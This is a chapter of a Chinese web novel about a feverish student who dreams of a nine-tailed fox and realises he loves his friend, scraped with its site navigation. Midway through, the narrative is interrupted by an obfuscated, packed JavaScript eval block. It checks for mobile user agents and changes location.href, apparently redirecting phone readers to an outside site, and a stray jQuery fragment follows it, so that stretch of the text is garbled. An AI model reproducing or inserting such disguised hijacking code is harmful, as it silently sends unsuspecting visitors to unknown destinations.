默认冷灰
24号文字
方正启体

10. 卿,那才是…(模糊)

作者:铁质蝴蝶结本书字数:K更新时间:
    『人间的十年前,仙界的十天前。


    天庭。


    一只黑猫:“喵呜,真的不考虑考虑吗主上?活菩萨献祭可比随便掏一群凡人好多了呢喵。”


    一只白狐:“主上,还请万分思虑。”』


    最后那钟声过去,乐擎枝只忽觉一片空白。


    天旋地转转转。


    再睁开眼时,看见的是熟悉样式,已经在寝舍了。


    是夜,窗外淅淅沥沥,正下着雨。窗内烛光曳曳,他浑身泥泞躺在榻上,只有脸是干净的。


    头还是很晕。


    齐遐彼时正跪坐于地,趴着榻,眼巴巴望着他,见他醒了,抚上他额头,道:“文文?还好吗?呀,果然烧了。”


    乐擎枝尚未从方才的梦境中回过神来,而他对于现状的疑虑顿时被看出。


    齐遐:“方才下山,你摔了一跤,还摔到了泥坑里,喏,一点伤没有,竟然还睡着了,小困猫。”


    要知道,学府内曾有一学子,读书读累了,困得梦游——上学上乏了,嗯,乐擎枝今儿可能就是这样。


    醒来的小困猫:“汇汇没回来吗?其他人呢?”


    “外头刚开始下雨,他们走得慢,这会儿估计在半山腰避雨,我想着先把你抬下来,跑得就快些,哈哈,碰巧躲过了雨。”


    又是被他这哥给背回来的,而且救回来后又是发烧——好熟悉的情节。


    洁癖小少主忍不得这一身泥,此时只想下床去沐浴,再换身衣服。


    坐起身,才发现躺着的是齐遐的床榻,被子上也全沾的泥巴。


    “欸?我怎……”


    “哎哟,”齐遐笑着戳戳他脸,“某人这么爱干净,若是放他躺自己床上去,相当于泥巴全躺在那人床上,认床的某人马上肯定要疯,夜里不愿上去睡觉咯。”


    “那怎么办?你窝泥巴里面睡?”


    “远兄还留了一套被褥,这个我后日空闲再拿去洗。”齐遐一手扶脸,一手抬起,指指一边齐远的空荡床榻。


    “快去洗洗换身衣服吧小少主,我去医室要点药来。”而后站起来,欲要离开。


    齐遐刚才一直跪坐,这会儿终是站起来。乐擎枝才注意到,对方一身女装还没换下,红红绿绿的裙子上也覆了泥土——应该是方才背自己下山弄着的。


    烧到两眼昏花的乐擎枝看着齐遐的衣裙,倏地抓住他手腕:“你呢,不去洗吗?”


    “想要我和你一起?坦诚相见?喔,当然可以呀。”


    “谁想了?自作多情!”又倏地松开手,发烧加脸红,他这脑袋差点要烫熟。


    “嘻嘻。”


    浴室。


    解开衣袍,低头看见样物什。


    竟真的有一颗蓝珀,缠着红绳,挂在脖子上。


    还当自己没睡醒,就用牙咬了咬。石头好硬,牙好痛。是真的。


    居然不是梦。不是梦。


    如此,细思恐极。


    沐浴完毕,更了寝衣,在拖着一身雾气穿走回廊时,偶看见宣明的杏花悄悄开了少许。外面仍在下雨。


    回到寝室,只见齐遐一身雨水带半身泥,站着。


    “医室夜里关门了,要不要紧?要不要请假回家歇歇?”


    某人心里明白,若非是宣明有宵禁,这小伙估计早跑去外面买了一方药回来。


    “不必。”乐擎枝觉得自己问题不大,况且游学尚未结束,只垂着头摇摇,继而去了自己床榻躺下,钻进被子,蒙住下半边脸。


    他把锁骨上的蓝珀摸到眼前来看,脑海中不断回荡那钟声,不断闪回那狐狸,和那狐狸的话。


    可保大难不死?


    ……


    挨着烧,脑袋很沉。昏昏沉沉中齐遐已经洗完,换好一身干净衣服,正在把被褥铺去远兄的空床上。


    乐擎枝侧躺,望着他整理被褥的背影,不安道:“你说,世界上真的有鬼有仙吗?今天说书的那传说是真是假?”


    “当然是假的啦,鬼呀神呀,都是不存在的。”齐遐听见他话,停下手中动作,回身,坐来他榻沿。


    “但你知道吗,我好像做了一个梦,梦里有只九条尾巴的狐狸,它说生死,说什么‘魂灭’‘小菩萨’,乱七八糟的,我听不明白。”


    紧接着,想起方才那具诡异尸体,恐惧迫使下,眼眶生泪。


    “哭吧,别怕别怕。”齐遐拍拍他背。


    “谁哭?我才不哭呢,又不是小孩儿了。”嘴上那么喃喃,但还是像幼时那样无声落下一堆眼泪。


    齐遐没作声,单是默默用手抹去他眼角泪水。沉默片刻,又俯下身去,轻轻把他揽进怀里,轻轻抱住了他——书上有言,郁疾患者发病时,可给予他一个深深的拥抱。


    但齐遐很轻很轻,除了衣料轻磨,再无其他。


    这家伙还是这样,每次明明都胡言乱语,字句恣意妄为,不是上天就是入海的,可若真要他做些举动来,倒是收敛,变回生人面前那翩翩君子。


    乐擎枝呢?往他怀里缩,越缩越紧。


    万千复杂思绪在脑海里挥之不去。


    可能是这厮怀里太温暖了?


    虽然从小到大与这人独处过的时间早已不算少,可不知何时起,每每如此,总是有种微妙的感受……出于喜悦?害怕?激动?


    亦或是……恋慕?


    不过自己对他的感情,好像确实与别的朋友不大一样。对周汇汇、对齐远都未曾产生过此般奇妙的情感,莫非真的是……


    情于他。


    啊,


    我好像有些情于他。


    我确实有些情于他。


    ……


    为何心头会悸动?


    为何会突然想表达那份悸动?


    你会做梦吗?会梦见什么呢?


    梦境里会有我吗?


    若我存在的话,又是否只有我一人呢?


    屋外雨声簌簌,敲打房檐,击开花苞,张开的瓣瓣都拨动情弦。


    泪水顺着眼角无声滑下,坠入静谧纯净心湖,溅起晶珠,荡漾波澜。


    至此,终是察觉发现,藏于心底最深处的情思。


    原来他不倾心女子。


    齐遐?遐哥哥。


    喜欢你,


    噗,居然是那种喜欢。


    迷乱之中,二人间有一人的呼吸与心跳急促起来,就像那被雨打的杏花苞。


    “别走了。”


    “那干嘛?想让我睡你被窝里?然后继续这么抱着你?”


    “对,陪我。”


    他太反常了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14482291|154454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    本是贫嘴的齐遐心中一蒙,却还是照做。


    二人共榻。


    少顷,乐擎枝见齐遐闭眼,许是去了梦乡。


    本窝在对方胸脯处的他竟把脸悄悄钻上去,贴去齐遐唇瓣,碰了一下,片刻又分离。


    齐遐未睁眼。


    反正你睡着了,我就偷一个,偷一个。,被发现了又怎么样呢?你会惯着我的。


    再说,看你平日的行为,应该也与我有相同的心思吧。


    翌日清晨,周汇汇一直用审视的目光打量他俩,脸上不带半点笑,嘴角扯着,呈“皿”字状,隔他俩百丈远。


    那是昨晚雨停后的事。


    避雨的一行人下了山来,周汇汇先是游荡隔壁各寝,展示他亲自缝的“远兄”,后面晃完,便回来推开自个儿寝舍门。


    周汇汇举着手上那个围着条大蓝围脖、发间饰一金羽的酷似远兄的布制小人:“擎枝!你现在醒了没?快来看我缝的——”


    怎料一推开门,便见他那俩舍友正抱在一块儿,缩在同一个被窝里。


    “缝的……”话说一半。


    呜呼!怕不是在搞什么……啊!


    汇汇看过的东西可多了,猛地摔上门。


    但关上门能去哪儿呢?在外面贴着门听了一会儿,屋内没有任何动静,犹豫片刻,还是悄悄开门进去了。


    他俩好像只是在抱着安寝。


    齐遐其实根本没眠,转头,比起手势示意噤声:“嘘,小猫睡着了。”


    今日,天公作美,昨个雨后放了大晴。


    宣明的杏花也开了不少。


    过了晌午,众学子便一起上山去植树,他们带上杏树苗,带上铁锹。


    宣明植树规定:三四人一组,一组共种一棵树。


    这儿也恰巧有三人成一小撮,款款而行。


    金贵的小乐少主手里既无树苗,也无锄头,只是捏着一个布缝的小人,一面走,一面玩赏:“这娃娃缝的真不错,究竟是谁呀?”


    “看不出来吗?是齐远啊。”周汇汇拿着树苗,对他俩的审视目光早已消去。


    远兄亲弟扛着铁锹,玩笑道:“扎小人?”


    汇汇:“你想什么呢!这叫惦念,懂不懂?”


    见擎枝和齐遐愣神,没反应,他又歪头,道:“惦念,懂否?”


    “知道啦,惦念。”乐擎枝闻言,笑容明朗,双手把“远兄”举起来,举到天上瞧瞧,“多可爱。”


    齐遐连忙点头:“懂懂懂。”


    走着山路,乐擎枝望着路边,不由得又想起那“梦”,再加上迟迟不见陈甲踪影,又问道:“陈甲呢?他不是说最爱种树吗?人去哪了?”


    周汇汇笑答:“陈甲?噢对,你不晓得,他昨夜在山腰避雨时跟许小姐表白,哦吼,惨败!现下植树也没心了,窝寝室里大哭呢。”


    齐遐,笑:“噗。”


    乐擎枝,也笑:“噗。”


    宣明满山的杏花树间,又种下许多棵。


    最终,春日的杏花花瓣会去哪儿?无从知晓。


    或许卷到天空里飞散了,


    或许飘到溪水中化了,


    或许落到土里烂了。


    但还有一人偷偷拾起散落的花瓣,塞进心里,藏去深处,不愿被发现。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)